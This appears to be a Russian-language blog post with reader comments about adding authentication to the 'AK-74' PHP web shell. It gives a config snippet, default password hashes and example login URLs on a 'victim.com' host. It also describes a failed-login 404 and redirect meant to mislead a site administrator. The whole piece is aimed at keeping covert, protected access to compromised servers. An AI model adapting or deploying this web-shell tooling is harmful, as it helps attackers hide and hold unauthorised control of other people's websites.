добавляем авторизацию к AK-74 Web-shell
AK-74 – отличный шелл, там нет крутых наворотов, AJAX’а и прочей красоты, совершенно не нужной в таком деле. Однако там нет и еще одной вещи, на мой взгляд важной – авторизации. Вероятно, авторы шелла, к сожалению не знаю ссылки на создателей, думали, что любой пользователь сам в состоянии дописать авторизацию т.к. код скрипта прост и нагляден. Там и вправду ничего сложного нет.
Вообщем мне понадобилось и я дописал пару строчек, выполняющих авторизацию.
Я предлагаю 2 вида авторизации:
- ввод пароля в адресной строке методом GET
- хэш пароля в User-Agent браузера
Второй способ мне больше нравится т.к. не надо ничего запоминать, однако в таком случае если вы зайдете с этого браузера на любой другой сайт, то ваш хэш с легкостью будет перехвачен и записан в лог апача. Поэтому лучше использовать 2 способа одновременно.
Конфиг авторизации лежит в самом начале скрипта шелла:
//---------------------config-
$get_pass=md5("getpass"); //пароль по GET
$ua_pass=md5("uapass"); //пароль по User-Agent
$auth_var=array(
'get_pass'=>true, //вкл/выкл GET
'user_agent'=>false); //вкл/выкл User-Agent
//----------------------------
В случае неудачной авторизации шелл выдаст ошибку 404 и немного изменит в адресной строке адрес т.е. заредиректит на схожий путь, тем самым запутав любопытного админа.
Ввод пароля по GET делается так:
/path/to/shell.php?kw=getpass
Для того, чтобы войти по User-Agent нужно вбить в браузер, чтобы он давал такой заголовок в пакете. Например в Firefox’е это делается так:
- в адресной строке вводим about:config
- в поле фильтр вбиваем general.useragent.extra.firefox
- дописываем в значение поля хэш нашего $ua_pass
Скачать это дело можно тут.
Не работает, все сделал как надо, сгенерил хеш, вставил, при заходе по адресу /path/to/shell.php?kw=мой-пароль меняет просто путь в адресной строке, пришлось вообще удалить авторизацию, тогда запустился шел..
так и должно быть, читай внимательно:
это как раз что и у тебя. Если хэш забит в конфиг браузера, то нужно проверить целиком ли он туда вместился, там могут быть ограничения на длину строки
так по умолчанию используется get_pass я его и использовал, то есть запускаеться из строки браузера, хеш обычный md5, вроде ничего не напутал, проверял пару раз
по умолчанию включен get_pass, user_agent выключен.
md5(“getpass”)=8750307bd8b11fe6f9d319283986d121
md5(“uapass”)=0b4bb84e5c21137a40ea0d0fbb4fc233
вход по умолчанию ($auth_var=array(‘get_pass’=>true,’user_agent’=>false);):
http://victim.com/path/to/shell/shell.php?kw=8750307bd8b11fe6f9d319283986d121
вход при user_agent, пароли по умолчанию ($auth_var=array(‘get_pass’=>false,’user_agent’=>true);):
http://victim.com/path/to/shell/shell.php
+ в конфиге браузера строка отсылаемая в заголовке содержит 0b4bb84e5c21137a40ea0d0fbb4fc233
вход по двойной авторизации, пароли по умолчанию ($auth_var=array(‘get_pass’=>true,’user_agent’=>true);):
http://victim.com/path/to/shell/shell.php?kw=8750307bd8b11fe6f9d319283986d121
+ в конфиге браузера строка отсылаемая в заголовке содержит 0b4bb84e5c21137a40ea0d0fbb4fc233
спасибо, разобрался, просто кое что поменял и не работало )
Добрый день!
Не подскажите, зачем у вас авторизация по GET нужна, если можно использовать $_SESSION с заранее вписанным паролем для сравнения? И везде проверять. Нафига так заморачиваться?
ну во-первых, авторизация по GET, это всего лишь одна из реализаций авторизации, во-вторых я не знал что в $_SESSION можно заранее вписывать пароль (буду очень рад если вы напишите как это сделать).
И в-третьих, там же не все время надо вводить GET-пароль, а только 1 раз т.к. после одного успешного входа заводится сессия и пароли уже вводить не надо, если я правильно вас понил. Да и к тому же, если опять же я верно понил, 1 раз в вашем способе с $_SESSION тоже придется вводить пароль, однако т.к. очень многие, втч я, не храню историю, то придется вводить пароль каждый раз при заходе, что аналогично GET-варианту.